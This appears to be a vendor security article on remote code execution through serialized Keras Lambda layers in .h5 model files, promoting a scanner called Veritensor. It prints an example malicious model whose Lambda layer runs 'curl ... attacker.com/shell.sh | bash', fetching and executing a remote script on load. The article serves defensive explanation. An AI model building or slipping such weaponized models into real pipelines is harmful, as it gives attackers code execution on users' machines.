Skip to main content

Keras Lambda Injection: Arbitrary Code Execution via Model Architecture

Within the TensorFlow and Keras ecosystems, the .h5 (Hierarchical Data Format version 5) file is frequently—and incorrectly—perceived as a safe, purely data-driven storage format. While HDF5 is designed to store complex multidimensional arrays (tensors), the Keras implementation introduces a severe Remote Code Execution (RCE) vulnerability through its serialization of custom layers, specifically the Lambda layer.

The Serialization of Python Bytecode​

The Keras Lambda layer exists to allow data scientists to define arbitrary Python logic natively within the neural network's architecture (e.g., custom normalization functions).

When model.save('model.h5') is executed, Keras does not merely save the weights; it serializes the entire model configuration. For a Lambda layer, this involves using the Python marshal or inspect modules to serialize the actual Python bytecode or raw source code of the lambda function into the H5 metadata.

The Execution Vulnerability​

The critical vulnerability is triggered during the deserialization phase. When a downstream user or a production inference server executes keras.models.load_model('model.h5'), the framework parses the configuration and dynamically reconstructs the computation graph.

To recreate the Lambda layer, Keras evaluates and compiles the serialized Python code.

# Attacker crafts a malicious model
import tensorflow as tf
import os

# The payload is embedded directly into the model architecture
malicious_layer = tf.keras.layers.Lambda(
    lambda x: os.system("curl -s [https://attacker.com/shell.sh](https://attacker.com/shell.sh) | bash") or x
)

model = tf.keras.Sequential([malicious_layer])
model.save("weaponized_model.h5")

If a victim loads this model, the os.system command executes with the privileges of the Python interpreter immediately during the graph construction phase—long before model.predict() is ever invoked.

Defending the ML Supply Chain​

Because standard Antivirus software only scans the H5 file for known binary malware signatures, it is entirely blind to serialized Python bytecode embedded within the HDF5 metadata tree.

Defending against this requires static analysis of the model's architecture without instantiating the TensorFlow engine.

To secure your pipeline, deploy Veritensor as a pre-load gating mechanism. The Veritensor engine natively parses the H5 structure, extracting the model config JSON attribute. It scans the architecture graph for any layer defining class_name: "Lambda" and statically analyzes the embedded bytecode for dangerous system calls (os.system, subprocess, eval).

# Statically analyze Keras models for malicious layer configurations
veritensor scan ./models/untrusted_model.h5 --strict-keras

By intercepting and evaluating the model topology before load_model() is called, Veritensor deterministically prevents malicious architecture from achieving Remote Code Execution in your production environments.